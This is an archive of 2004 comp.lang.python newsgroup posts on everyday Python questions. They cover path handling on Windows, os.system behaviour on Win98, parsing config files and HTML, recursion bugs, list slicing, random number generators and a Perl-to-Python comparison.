References: Message-ID: <864d370904091415395273466f@mail.gmail.com> On Tue, 14 Sep 2004 18:16:59 -0400, Peter Hansen wrote: > Do you have pywin32 (win32all) installed? Try this one instead: > > win32api.GetFullPathName('c://work') > > This does the same as abspath does above, on mine. I ask because > of stuff in ntpath.py which appears to be calling the equivalent > of that instead of the normpath(join(getcwd(), path)) approach that > the docs note is equivalent... You're right. That's what I got now: PythonWin 2.3.2 (#49, Nov 13 2003, 10:34:54) [MSC v.1200 32 bit (Intel)] on win32. Portions Copyright 1994-2001 Mark Hammond (mhammond at skippinet.com.au) - see 'Help/About PythonWin' for further copyright information. >>> import win32api >>> win32api.GetFullPathName('c://work') 'c:\\\\work' It seems that either ActivePython uses a different implementation for os.abspath(), or the code changed between 2.3.2 and 2.3.4. The last time I checked ActivePython was still using 2.3.2 -- I'll check it out again, and upgrade if a newer version is available. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From Felix.Wiemann at gmx.net Sun Sep 5 17:30:00 2004 From: Felix.Wiemann at gmx.net (Felix Wiemann) Date: Sun, 05 Sep 2004 23:30:00 +0200 Subject: Module name conflict with standard library References: <87k6v9o8cg.fsf@news2.ososo.de> <4edc17eb.0409042332.5730eed7@posting.google.com> <10jlqmr85klsb0a@news.supernews.com> <87r7pg4uvo.fsf@news2.ososo.de> Message-ID: <87brgkl7zb.fsf@news2.ososo.de> Jorge Godoy wrote: > Felix Wiemann writes: > >> So I hope that absolute imports will get implemented in Python 2.4. I >> think I'll name my module 'Curses', as John suggested (even if that's >> asking for trouble on Windows systems). > > Do you really need to use the same name? How about something like > "mCurses" (myCurses) or "oCurses" (own Curses), etc. ? Hmmm, yes. Or maybe "ncurses" (even though it's actually wrong, but at least it's obvious). > It avoids the name clash on Windows and states that you are really not > referring to the standar curses module. True. -- Felix Wiemann -- http://www.ososo.de/ From nid_oizo at yahoo.com_remove_the_ Thu Sep 2 18:33:55 2004 From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury) Date: Thu, 02 Sep 2004 18:33:55 -0400 Subject: Check existence of members/methods In-Reply-To: References: Message-ID: Nicolas Fleury wrote: > Hi everyone, > I'm wondering what is the easiest/cleanest way to look for existence > of available methods/members. > > For example, in parsing a xml file, created objects can define a > setXmlFilename function or a xmlFilename member to get the filename they > are from. > > Right now I have the following code: > > try: object.setXmlFilename > except: > try: object.xmlFilename > except: pass > else: object.xmlFilename = currentFilename > else: object.setXmlFilename(currentFilename) > > But it looks a bit wierd, since it's like a "if" with the false > consequence presented first. I wonder if there is, and if there should > be a better way to do it. I could also do the following: > > def noraise(expressionString): > try: eval(expressionString) > except: return True > return False > > if noraise("object.setXmlFilename"): > object.setXmlFilename(currentFilename) > elif noraise("object.xmlFilename"): > object.xmlFilename = currentFilename In fact, it's even more ugly: def exists(obj, name): try: eval("obj." + name) except: return True return False if exists(object, "setXmlFilename"): object.setXmlFilename(currentFilename) elif exists(object, "xmlFilename"): object.xmlFilename = currentFilename From cbfalconer at yahoo.com Fri Sep 3 01:03:34 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Fri, 03 Sep 2004 05:03:34 GMT Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com> Message-ID: <4137F89A.7101526F@yahoo.com> Alan Balmer wrote: > ... snip ... > > Perhaps I'm misinterpreting John Thingstad's remarks, but I was > mostly objecting to the idea that Linus sat down with a copy of > the POSIX specifications and turned them into an OS. (Especially > since not all of the current POSIX standards existed at the time > :-) Considering the POSIX standard as a cookbook for an OS makes no more sense than considering the C99 standard as a cookbook for a C compiler. -- "A man who is right every time is not likely to do very much." -- Francis Crick, co-discover of DNA "There is nothing more amazing than stupidity in action." -- Thomas Matthews From greg at cosc.canterbury.ac.nz Thu Sep 9 22:45:30 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Fri, 10 Sep 2004 14:45:30 +1200 Subject: Proto-PEP: Overloadable Boolean Operators In-Reply-To: References: <413AEEF9.7060102@cosc.canterbury.ac.nz> <1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com> <2q4s80Fr7lqtU1@uni-berlin.de> <2qaa6pFt9ltbU1@uni-berlin.de> Message-ID: <2qciqaFecdi3U2@uni-berlin.de> Tim Hochberg wrote: > Why? You specifically mention Numeric/Numarray as one motivating factor > for this patch, and as a long time Numeric/Numarray user I'd rather have > (a < b < c) work than (a and b). You have a point. I'll think about this some more. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From export at hope.cz Wed Sep 29 10:52:14 2004 From: export at hope.cz (Lad) Date: 29 Sep 2004 07:52:14 -0700 Subject: os.system vs. Py2Exe References: <81a41dd.0409280200.1a74edd1@posting.google.com> <81a41dd.0409282240.739cb257@posting.google.com> <4_CdnUGCt9u3CcfcRVn-pA@powergate.ca> Message-ID: <81a41dd.0409290652.61d6aaa4@posting.google.com> Peter L Hansen wrote in message news:<4_CdnUGCt9u3CcfcRVn-pA at powergate.ca>... > Lad wrote: > > Peter Hansen wrote in message news:... > > > >>Lad wrote: > >> > >>>I used Py2exe to compile my script( I use XP). > >>>The compiled script works OK on my XP where Python is installed. > >>>But when I install the compiled exe to another computer, > >> > >>What operating system is the other computer running? > > > > The other Operating system( that does not work with os.system) is Windows 98 > > That's the source of your problem. Win98 doesn't work the way > XP/NT does, and you *cannot* use os.system() in this way to > get the expected behaviour. Find another approach... maybe > read the registry entries for .TXT files and launch NotePad > directly... I found out the following: on Xp I can use os.system('IDPass.txt') but on Win98 it does not work. So I must use os.system('notepad.exe IDPass.txt') to open IDPass.txt file but the problem with Win 98 is the following: Notepad is launched but the Python running program ( exe compiled script) is not paused( until I close the Notepad window) but continues running with the next command.In other words Notepad runs independently on my exe program. WHY? Lad if verseOS[3]==2:#XP os.system('IDPass.txt') if verseOS[3]==1:#Windows 95/98/ME print "Windows 95/98/ME running" os.system('notepad.exe IDPass.txt') From usenet_spam at janc.invalid Wed Sep 1 02:29:12 2004 From: usenet_spam at janc.invalid (JanC) Date: Wed, 01 Sep 2004 06:29:12 GMT Subject: File System References: <10j7r3cflo61680@corp.supernews.com> <41345966.3020103@mxm.dk> Message-ID: Dan Perl schreef: > I only know that Zope is an application server. Which part of it is the > model for the object oriented filesystem? I'm really interested. Can > you point me to a link? ZODB -- JanC "Be strict when sending and tolerant when receiving." RFC 1958 - Architectural Principles of the Internet - section 3.9 From rhoder at worldpath.net Fri Sep 17 03:47:18 2004 From: rhoder at worldpath.net (Derek Rhodes) Date: Fri, 17 Sep 2004 03:47:18 -0400 Subject: Recursive function not returning value References: <10kl34qereo06ac@corp.supernews.com> Message-ID: <10kl5kia7qb2u75@corp.supernews.com> "Steven Bethard" wrote in message news:mailman.3439.1095406129.5135.python-list at python.org... > Derek Rhodes worldpath.net> writes: >> OK, I have a recursive function that should return a list, but doesn't >> >> def test(word): >> if type(word) == str: >> print "it's a word" >> test([word]) >> >> if type(word) == list: >> print "The conditional worked, see ->", word >> return word > > By default, if a Python function does not hit a return statement before > the > end of the function, it returns the None value. Notice that if word is a > str, > your function executes the first if-block, including the recursive call > and > then skips the second if-block. So in this case, you never hit a return > statement and so Python returns None. You probably meant to write: > > def test(word): > if type(word) == str: > return test([word]) > if type(word) == list: > return word > > If you run into these kind of mistakes frequenly, it might be worth having > only one return point in each function. You would then write your code > something like: > > def test(word): > if isinstance(word, str): > result = test([word]) > elif isinstance(word, list): > result = word > else: > raise TypeError('unsupported type %r' % type(word)) > return result > > Of course, this particular example probably doesn't merit a recursive > function > anyway, but you get the idea... > > Steve > > WOW, thanks everyone for the quick reply! -Derek. From lbates at swamisoft.com Tue Sep 21 11:33:57 2004 From: lbates at swamisoft.com (Larry Bates) Date: Tue, 21 Sep 2004 10:33:57 -0500 Subject: Pyparsing... References: <7b22ae5b.0409201639.7837fca9@posting.google.com> Message-ID: Note: The Cellheader layout and the cell data layout don't appear to match properly (when compared to the data you show in your sample dictionary). My solution follows the cellheader layout. The format of your data file is perfect to be parsed with ConfigParser with [QC1] as section name and Type, NumberCells, etc. as options. import ConfigParser inputfilename='data.ini' # Insert input filename INI=ConfigParser.ConfigParser() INI.read(inputfilename) data={'type': None, 'numbercells': None, 'table':{}} section='QC1' option='type' try: data['type']=INI.getint(section, option) except: # # Insert code to handle missing type option # pass option='numbercells' try: data['numbercells']=INI.getint(section, option) except: # # Insert code to handle missing numbercells option # pass option='cellheader' try: data['cellheader']=INI.get(section, option) except: # # Insert code to handle missing numbercells option # pass CELLS=[x for x in INI.options(section) if x.startswith('cell')] # # Must get rid of 'cellheader' or maybe change the key name? # CELLS=[x for x in CELLS if x != 'cellheader'] celldatalist=[] for CELL in CELLS: celldata={} x, y, probe, plen, atom, index=INI.get(section, CELL).split(' ') celldata['cell']=int(CELL[4:]) celldata['x']=int(x) celldata['y']=int(y) celldata['plen']=plen celldata['atom']=int(atom) celldata['index']=int(index) celldatalist.append(celldata) data['table']=celldatalist This is tested so it should be close (I do this quite a lot in my code). You could wrap a loop around the outside of this if you have multiple QC instances. Hope it helps. Larry Bates "Raoul" wrote in message news:7b22ae5b.0409201639.7837fca9 at posting.google.com... >I am futzing with pyparsing and for the most part enjoying it. > However, I'm running into trouble with whitespace delimited lists. I > get data in blocks like this: > > [QC1] > Type=15 > NumberCells=1925 > CellHeader=X Y PROBE PLEN ATOM INDEX > Cell1=132 0 N 25 0 132 > Cell2=652 0 N 25 0 652 > Cell3=648 0 N 25 0 648 > ... > > I'd like to be able to parse this structure. > > Ideally, I'd like for a QC node, to have a dictionary with > {'number':1 > 'type' : 15 > 'NumberCells' : 1925 > 'Table' : [{'cell':1,'x':132,'y':0,'probe':25,'plen':0,'atom':132', > 'index':None}, {'cell':2 .... > > I'm running into the following problems: > > 1. I can't seem to use delimitList() to define a rule that parses the > right hand side of the table into > ['x','y','probe','plen','atom','index']. I think it's because my lists > are whitespace delimited. > > 2. I can't seem to convert value into an integer, for example, I can > parse each row in the table to : > ['Cell','2','=', '652 0 N 25 0 652'] > but am unable to get the setParseAction(see below) to convert and > substitute in the right value. > > Any hints will help a great deal. Thanks... > > Raoul-Sam > > > I have some ugly non functional code below.. > > def cdffile_BNF(): > global cdfbnf > > if not cdfbnf: > makeint = Word(nums).setParseAction( lambda s,l,t:[int(t[0])]) > equals = Literal("=").suppress() > nonequals = "".join( [ c for c in printables if c != "=" ] ) + > " \t" > > key = Word(nonequals) > value = Word(nonequals) > kvp = Group(key + equals + restOfLine) > kvpBlk = OneOrMore(kvp) > > headerCell = delimitedList(Word(alphanums)," ") > rowHeader = Combine( Literal("CellHeader") + equals + > headerCell) > row = Combine(Literal("Cell").suppress() + restOfLine) > rows = OneOrMore(row) > > CDF = Literal("[CDF]") > CDFBlk = Group(CDF + kvpBlk) > > CHIP = Literal("[CHIP]") > CHIPBlk = Group(CHIP + kvpBlk) > CHIPBlk.setResultsName("chip") > > QC = Combine( Literal("[QC").suppress() + Word(nums) + > Literal("]").suppress()) > QCBlk = QC + kvp + kvp + rowHeader + rows > > cdfbnf = CDFBlk + CHIPBlk + QCBlk > > return cdfbnf From fredrik at pythonware.com Fri Sep 24 04:35:04 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 24 Sep 2004 10:35:04 +0200 Subject: Parsing HTML References: Message-ID: Thomas Guettler wrote: > If you want to parse many HTML pages, you can use tidy to create > xml and then use an xml parser. There are too many ways HTML can be > broken. including the page Anders pointed to, which is too broken for tidy's default settings: line 1 column 1 - Warning: specified input encoding (iso-8859-1) does not match actual input encoding (utf-8) line 1 column 1 - Warning: missing declaration line 3 column 1 - Warning: discarding unexpected line 9 column 1 - Error: is not recognized! ... snip ... 260 warnings, 14 errors were found! Not all warnings/errors were shown. This document has errors that must be fixed before using HTML Tidy to generate a tidied up version. you can fix this either by tweaking the tidy settings, or by fixing up the document before you parse it (note the first warning: if you're not care- ful, you may end up with unusable swedish text). I've attached a script based on my ElementTidy binding for tidy. see alternative 1 below. usage: URL = "http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm" wordlist = parse_microsoft_wordlist(URL) for item in wordlist: print item the wordlist contains (english word, swedish word), using Unicode where appropriate. you can get elementtree and elementtidy via http://effbot.org/zone/element.htm http://effbot.org/zone/element-tidylib.htm on the other hand, for this specific case, a regular expression-based approach is probably easier. see alternative 2 below for one way to do it. # -------------------------------------------------------------------- # alternative 1: using the TIDY->XML approach from elementtidy.TidyHTMLTreeBuilder import parse from urllib import urlopen from StringIO import StringIO import re def parse_microsoft_wordlist(url): text = urlopen(url).read() # get rid of BOM crud text = re.sub("^[^<]*", "", text) # bom crud # the page seems to be UTF-8 encoded, but it doesn't say so; # convert it to Latin 1 to simplify further processing text = unicode(text, "utf-8").encode("iso-8859-1") # get rid of things that Tidy doesn't like text = re.sub("(?i)", "", text) # embedded text = re.sub("(?i)", "", text) # stuff # now, let's process it tree = parse(StringIO(text)) # look for TR tags, and pick out the text from the first two TDs wordlist = [] for row in tree.getiterator(XHTML("tr")): cols = row.findall(XHTML("td")) if len(cols) == 3: wordlist.append((fixword(cols[0]), fixword(cols[1]))) return wordlist # helpers def XHTML(tag): # map a tag to its XHTML name return "{http://www.w3.org/1999/xhtml}" + tag def fixword(column): # get text from TD and subelements word = flatten(column) # get rid of leading number and whitespace word = re.sub("^\d+\.\s+", "", word) return word def flatten(node): # get text from an element and all its subelements text = "" if node.text: text += node.text for subnode in node: text += flatten(subnode) if subnode.tail: text += subnode.tail return text # -------------------------------------------------------------------- # alternative 2: using regular expressions import re from urllib import urlopen def parse_microsoft_wordlist(url): text = urlopen(url).read() text = unicode(text, "utf-8") pattern = "(?s)\s*(.*?)\s*(.*?)" def fixword(word): # get rid of leading nnn. word = re.sub("^\d+\.\s+", "", word) # get rid of embedded tags word = re.sub("<[^>]+>", "", word) return word wordlist = [] for w1, w2 in re.findall(pattern, text): wordlist.append((fixword(w1), fixword(w2))) return wordlist # -------------------------------------------------------------------- From chrisks at NOSPAM.udel.edu Sun Sep 19 03:08:43 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 07:08:43 GMT Subject: Math errors in python In-Reply-To: References: Message-ID: <%fa3d.3867$%42.1942@trndny08> Peter Otten wrote: > Radioactive Man wrote: > > >>thing would happen. Any suggestions for a way to fix this sort of >>error? > > > Starting with Python 2.4 there will be the 'decimal' module supporting > "arithmetic the way you know it": > > Great, why fix what's broken when we can introduce a new module with an inconvenient API. From Lu.Fan at seagate.com Fri Sep 10 13:37:38 2004 From: Lu.Fan at seagate.com (Lu.Fan at seagate.com) Date: Fri, 10 Sep 2004 11:37:38 -0600 Subject: question about random number generation Message-ID: Dear All, I'm a newbie in Python. I have a question about the random number generation in Python vs. Java. We have a system developed in Python. Now I'm writing tests in Java (actually a Java wrapper) to test it. I need to duplicate a random number generation process in my test which means that given the same seed I expect the same result in Java as in Python. As far as I know, Python uses the Mersenne Twister RNG --- correct me if I am wrong. Do Python and Java use the same RNG? Thanks, Lu -------------- next part -------------- An HTML attachment was scrubbed... URL: From shalabh at cafepy.com Thu Sep 2 12:54:11 2004 From: shalabh at cafepy.com (Shalabh Chaturvedi) Date: Thu, 02 Sep 2004 09:54:11 -0700 Subject: negative stride list slices In-Reply-To: References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <2pmj4aFmofl2U1@uni-berlin.de> Message-ID: Christopher T King wrote: > On Wed, 1 Sep 2004, Shalabh Chaturvedi wrote: > > >>Does anyone else find it intuitive to expect that S[b:a:-1] be exactly >>reverse of S[a:b:1]? > > > No. S[a:b:1] includes the start index (a), but excludes the stop index > (b). Similarly, S[b:a:-1] includes the start index (b), but excludes the > stop index (a). Only if the stop indices were included (or the start > indices were excluded), thus making the indexing symmetrical, would I > expect the results to be symmetric. > That's a good explanation. My initial confusion arose because I remembered how slices work by the suggestion (and diagram) under: http://docs.python.org/tut/node5.html#SECTION005120000000000000000 "The best way to remember how slices work is to think of the indices as pointing /between/ characters". When negative step is in the picture, the indices are no longer in the same inbetween places and need to be shifted to the right. Associating indices with characters themselves dissipates the confusion. Thanks, Shalabh From peter at engcorp.com Thu Sep 2 15:38:15 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 02 Sep 2004 15:38:15 -0400 Subject: Xah Lee's Unixism In-Reply-To: <41376B82.C6A202FC@yahoo.com> References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> Message-ID: CBFalconer wrote: > Peter Hansen wrote: >>Brian {Hamilton Kelly} wrote: >>>wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote: >>>>There's a story about why railroad tracks are spaced the way they are. >>> >>>Is this the one about two Roman horses' arses? If so, it also accounts >>>for the physical dimensions of the Space Shuttle's boosters. >> >>A quick search using Google will show that while there is a >>certain amount of truth in the original story, most of the >>details are wrong, and the final bit about the booster rockets >>is unsubstantiated. But it's still a cute story. > > I know nothing about those stories, but it seems reasonable to me > that the boosters would have been designed to be transportable by > railroad, which ties their dimensions to track gauge. You know, it's really rather helpful when people take the time to read the things they are trying to discuss, since quite often those things end up answering questions that those people might have. See the snapes.com article that Dave Hansen (no relation) posted for more... and a response to your reasonable thoughts above. -Peter From BrenBarn at aol.com Fri Sep 10 20:28:44 2004 From: BrenBarn at aol.com (OKB (not okblacke)) Date: 11 Sep 2004 00:28:44 GMT Subject: Nested class structures References: Message-ID: Larry Bates wrote: > It is a little hard to understand what you want but you > may just want to put class instances in a list. > > class anon: > pass > > class class1: > def __init__(self): > self.l=[anon(), anon(), anon()] Yeah, sorry, I should have been a little more clear. Anyway, it's important that these be actual class definitions, because I want the ability to include per-class methods and stuff. So I don't really want a bunch of identical anonymous classes. I want something like: class class1: class anon: def meth1(self): print "meth1" class anon: def meth1(self): print "different meth1" class anon: def meth1(self): print "another meth1" This is why I want to define the classes inline, nested in the other class. I'm trying to leverage the syntactic structure of class definitions to get nested structures of code. It's somewhat akin to a = { 'one': 1, 'nested': { 'two': 2, 'three': 3, 'nestnest': { 'four': 4, 'five': 5 } } 'othernest': { 'six': 6 } } . . . except that I want the ability to include arbitrary python code where I have 1, 2, 3 there (as dictionary values). As far as I can tell, Python doesn't provide a way to define code as part of a larger expression like this, except in a class definition. -- --OKB (not okblacke) Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From sholden at flexal.cs.usyd.edu.au Mon Sep 20 23:43:15 2004 From: sholden at flexal.cs.usyd.edu.au (Sam Holden) Date: 21 Sep 2004 03:43:15 GMT Subject: Python for Perl programmers? References: Message-ID: On 20 Sep 2004 19:20:07 -0700, Markus Dehmann wrote: > I am using perl for everything, even bigger programs, with objects, > uh, modules and stuff. I know pretty much every trick in perl and have > a lot of experience. > > But I'd like to try a cleaner language, where you don't have to type > so much crap to create a class etc. So, I wanna give python a try. Reduced typing is a strange reason to go from perl->python :) package Foo; sub new { my ($package, $start) = @_; bless {count => $start}, $package; } sub inc { $_[0]->{count}++; } sub dec { $_[0]->{count}--; } sub val { $_[0]->{count}; } class Foo: def __init__(self, start=0): self.count = start def inc(self): self.count += 1 def dec(self): self.count -= 1 def val(self): return self.count Both seem about the same amount of typing. The perl version actually returns the previous counter value in inc() and dec(), but that's not that useful anyway. I guess you could argue all those {}s are "crap" :) > Is there a tutorial that takes all the standard perl things and then > explains how to do them in python? That would be perfect. Open a file, > take all the words, put them in a hash, do something with them, print > the result in a formatted way, write it to a new file etc. Create a > class that downloads newsgroups, etc. Things like that. For a smaller grain size, there is: http://www.python.org/moin/PerlPhrasebook Though the perl code has parenthesis around function calls which I don't think anyone would actually use in practice, eg. print (join (" ", @$l)); print ("\n"); which would usually be (in perl): print join " ", @$l; print "\n"; or even (for the brave and foolish): print "@$l\n"; But other than making the perl code harder to grok for perl programmers not much harm is done, and it's still understandable and a reasonable comparison. -- Sam Holden From erik at heneryd.com Mon Sep 13 13:10:24 2004 From: erik at heneryd.com (Erik Heneryd) Date: Mon, 13 Sep 2004 19:10:24 +0200 Subject: Small inconsistency between string.split and "".split In-Reply-To: <864d370904091309576330b1ed@mail.gmail.com> References: <864d370904091309576330b1ed@mail.gmail.com> Message-ID: <4145D480.60008@heneryd.com> Carlos Ribeiro wrote: > Hi all, > > While writing a small program to help other poster at c.l.py, I found > a small inconsistency between the handling of keyword parameters of > string.split() and the split() method of strings. I wonder if someone > else had ever stumbled on it before, and if it has a good reason to > work like it is. > > Both implementations take two parameters: the separator character and > the max number of splits (maxsplit). However, string.split() accept > maxsplit as a keyword parameter, while mystring.split() doesn't. In my > case, it meant that I had to resort to string.split() in my example, > in order to avoid having to deal with the separator. > > ** BTW, I had to avoid dealing with the separator for another annoying > reason: I thought that I could do something like this: > > mystring.split(string.whitespace, 2) > > to preserve the default whitespace detecting behavior. But it won't > work this way with neither implementation of split(). 1) If you look at the string lib docs, the parameters are meant to be positional, not keywords... 2) You can get the same behavior from str.split() by using None as the separator (undocumented, I guess). IMHO both the string function (just a matter of documentation) and the str object method should accept keywords. Erik From tonino.greco at gmail.com Fri Sep 10 03:15:04 2004 From: tonino.greco at gmail.com (TAG) Date: Fri, 10 Sep 2004 09:15:04 +0200 Subject: simple string parsing ? In-Reply-To: <1gjw213.4g7jgj1bajn7eN%aleaxit@yahoo.com> References: <1gjv0gq.mo3tj21rucgmhN%aleaxit@yahoo.com> <1gjw213.4g7jgj1bajn7eN%aleaxit@yahoo.com> Message-ID: <5db3bf0004091000152bb12bb9@mail.gmail.com> > ((Of course, you ARE restricted to what Python considers 'tokens' so you > may need some postprocessing if you need a slightly different notion of > tokens)) luckily they should all be - but in the case that they are not - how can I checki it ? thanks again :) From __peter__ at web.de Sat Sep 18 13:53:57 2004 From: __peter__ at web.de (Peter Otten) Date: Sat, 18 Sep 2004 19:53:57 +0200 Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change References: Message-ID: Jeremy Bowers wrote: > It's the best choice. It's the ONLY choice. Choose "?". I see you are striving for fame, so I suggest that you write a PEP that provides a unicode character for every keyword. It can be slated for adoption in the next year of the snake. Peter From siona at chiark.greenend.org.uk Thu Sep 9 08:48:13 2004 From: siona at chiark.greenend.org.uk (Sion Arrowsmith) Date: 09 Sep 2004 13:48:13 +0100 (BST) Subject: adns-python return codes References: Message-ID: Sion Arrowsmith wrote: >Josh Close wrote: >>Does anyone know what the return codes for an mx adns python lookup >>are? I know 0 means a valid domain, and anything else isn't, but there >>are "no nameservers found" and "timeout" and other things that would >>have to be retried again. > >I'd guess you want to be looking at adns.h, specifically the typedef'd >enum adns_status (ll. 205--255 in the copy I'm looking at), although >I've not looked at how the Python bindings to adns work. I now *have* looked at the Python bindings to adns -- if you're after "what error code corresponds to a given error?" then adns.status exposes the adns_status enum: >>> adns.status.timeout 30 although if what you're interested in is when to retry then you might be better off using adns.exception() and catching and handling the different classes of exception appropriately. If you want a human-readable description of a given status code, it looks like the best way would be: try: adns.exception(result[0]) except adns.Error, e: description = e[1] -- \S -- siona at chiark.greenend.org.uk -- http://www.chaos.org.uk/~sion/ ___ | "Frankly I have no feelings towards penguins one way or the other" \X/ | -- Arthur C. Clarke her nu become? se bera eadward ofdun hl?ddre heafdes b?ce bump bump bump From davebrok at soda.csua.berkeley.edu Tue Sep 21 12:29:58 2004 From: davebrok at soda.csua.berkeley.edu (David Pokorny) Date: Tue, 21 Sep 2004 09:29:58 -0700 Subject: Microthreads without Stackless? References: <18282ecb.0409120634.5ba044ee@posting.google.com> <18282ecb.0409151755.47b691e2@posting.google.com> <8cf9f521.0409162213.105d321e@posting.google.com> <8cf9f521.0409171009.142a3fcd@posting.google.com> <414c1f4b$0$82251$ed2619ec@ptn-nntp-reader03.plus.net> Message-ID: "Michael Sparks" wrote in message news:cip42f$hio$1 at nntp0.reith.bbc.co.uk... > David Pokorny wrote: > > "Bryan Olson": > >> Michael Sparks: > Well, given the lack of airtime for them and the fairly fundamental > playing around they do, I'm not entirely suprised. However that's not a > reason to take a look at something, and they are pretty cool IMO. Oh, I couldn't agree more! (about greenlets=cool) If ever there was an elegant solution to full coroutines/microthreads, this is it! David Pokorny From tjreedy at udel.edu Thu Sep 9 02:04:10 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 9 Sep 2004 02:04:10 -0400 Subject: container-indepentent iteration code ? References: <10jv5ad1sjgep4d@corp.supernews.com> <10jv9ae988bbnb7@corp.supernews.com> Message-ID: "flacco" wrote in message news:10jv9ae988bbnb7 at corp.supernews.com... > Jeremy Bowers wrote: >> On Wed, 08 Sep 2004 19:27:38 -0400, flacco wrote: >> >>>is there a way to iterate over the *values* in a list/dict/whatever, >>>regardless of whether it's a list, dict, or whatever? ie, the iteration >>>code will not know beforehand what kind of container it's getting. >> >> In what way does >> >> for obj in container: >> >> not meet your needs? > > i always want obj to be the value. dicts, for example, yield keys > instead of values (i think?)... When iterators were introduced, there was discussion of whether for x in somedict: should iterate over dict.keys(), dict.values(), dict.items(), or continue to be illegal. dict.keys() won as being most useful because most commonly needed. Iterating over values or items continues to have to be explicit. Terry J. Reedy From madsurfer2000 at hotmail.com Sun Sep 12 09:21:18 2004 From: madsurfer2000 at hotmail.com (-) Date: 12 Sep 2004 06:21:18 -0700 Subject: Alternatives for the CSV module Message-ID: I am going to make a program that reads files with different csv-dialects. Sometimes the field-separator or line-separator can be more than one character. The standard CSV module in Python 2.3 is not a good solution, because it expects single characters. Example of a file "ABC"<>"DEF"""<>"GHI"??123<>456<>"XYZ"?? Here the field delimiter is "<>" and the "line" terminator "??". Fields can be enclosed in quotes, and a double qoute is treated as normal text. This is not the only format the parser can expect. The format is given to the program by the user, so the program should have no problems parsing the text. An ideal solution would be a similar parser to the standard CSV-parser, except that it accepts strings as delimiters. I could always manipulate the input file and replace the delimiters by single characters, but I would like a more generic solution. SimpleParse (http://simpleparse.sourceforge.net/) looks like a good alternative. It doesn't support Unicode, but most most files can be converted to ISO-8859-1 first. Would SimpleParse be suitable for this purpose, or are there better alternatives out there, like a more flexible CSV-parser? From elbertlev at hotmail.com Sat Sep 11 00:03:32 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 10 Sep 2004 21:03:32 -0700 Subject: Building Very Large Records References: Message-ID: <9418be08.0409102003.6ec06a3d@posting.google.com> >>I don't know enough about Oracle SQL yet, could I format the data in the SQL call? This would be the best solution. Especially if done via stored procedure. I also do not know how to do this in Oracle. In MSSQL I would write an extended stored prosedure. From zshutters at comcast.net Fri Sep 10 10:52:55 2004 From: zshutters at comcast.net (Zach Shutters) Date: Fri, 10 Sep 2004 07:52:55 -0700 Subject: making windows apps Message-ID: I am new to python and working my way through the van Rossum tutorial. I am cursios though about if you can program windows with python? I know I shouldn't worry about this right now but I am curious. If so, is there any recommended tutorials on this. I know I can search google but i figured I would see what some people who know the language well would recommend. One last thing, in order for a program I write in python to run on someones computer, they have to have the python interpreter installed? And if so, wouldn't most people not have it installed since they wouldn't be programming in it. I know this is probably an uber nube question, but that's what I am right now. Hopefully no one will get pissed off and give some smart ass comment about how stupid my question is (sorry but most of the time thats what I get when I post in a newsgroup lol) -Zach From maney at pobox.com Sun Sep 5 12:46:22 2004 From: maney at pobox.com (Martin Maney) Date: Sun, 5 Sep 2004 16:46:22 +0000 (UTC) Subject: Inline Conditionals? References: Message-ID: Michael Hudson wrote: > Joshua Ginsberg writes: >> Is there any plan to include inline conditionals in Python? For example: >> >> def isNegative(x): >> return x < 0 ? True : False > Read PEP 308, and note that this was probably the largest flamewar in BTW, is there ever going to exist the promised summary of the reasons the PEP was rejected despite a 4:1 vote favoring it? It was a fine bit of sophistry for the BDFL (or whoever ran the thing) to split the supporting votes so that it looked like there was a lack of consensus on substantial issues rather than the superficial difference of taste that actually made the discussion so... active. I've been wondering ever since how that would be spun in the final apologia. -- The dualist evades the frame problem - but only because dualism draws the veil of mystery and obfuscation over all the tough how-questions -- Daniel C. Dennett From robmccrea at spaamadelphiaspremoveam.net Mon Sep 13 10:42:29 2004 From: robmccrea at spaamadelphiaspremoveam.net (Rob McCrea) Date: Mon, 13 Sep 2004 10:42:29 -0400 Subject: the FCNTL module is deprecated Message-ID: <4oidneSCbKpfLNjcRVn-iw@adelphia.com> Hi all, On windows98SE, running Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on win32, the built-in help() function gives me a deprecation warning when used on my docstrings. just help() start the interactive help without error. Heres some minimalistic code to demonstrate this warning: """start testhelp.py""" class Object: "class Object is an empty testing class" def __init__(self): pass help(Object) """end testhelp.py""" """start output""" C:\PYTHON23\lib\fcntl.py:7: DeprecationWarning: the FCNTL module is deprecated; please use fcntl DeprecationWarning) Help on class Object in module __main__: class Object | class Object is an empty testing class | | Methods defined here: | | __init__(self) """end output""" I'm not particularly concerned with it, just being a warning which I might be able to suppress with python.exe parameters, but if anyone knows how to fix it, I'd like to fix it. I also had the same warning in 2.3.3, which lead me to upgrading which searching for a solution. I tried deleting all .pyc from my python\Lib directory, to no avail. I am new, am I missing a step in creating docstrings and/or using help()? Thanks, Rob From sharidas at zeomega.com Thu Sep 16 02:50:42 2004 From: sharidas at zeomega.com (Satchidanand Haridas) Date: Thu, 16 Sep 2004 12:20:42 +0530 Subject: Python Imaging Library In-Reply-To: References: Message-ID: <414937C2.7020503@zeomega.com> Hi, Check the following link for a patch that might do the trick. 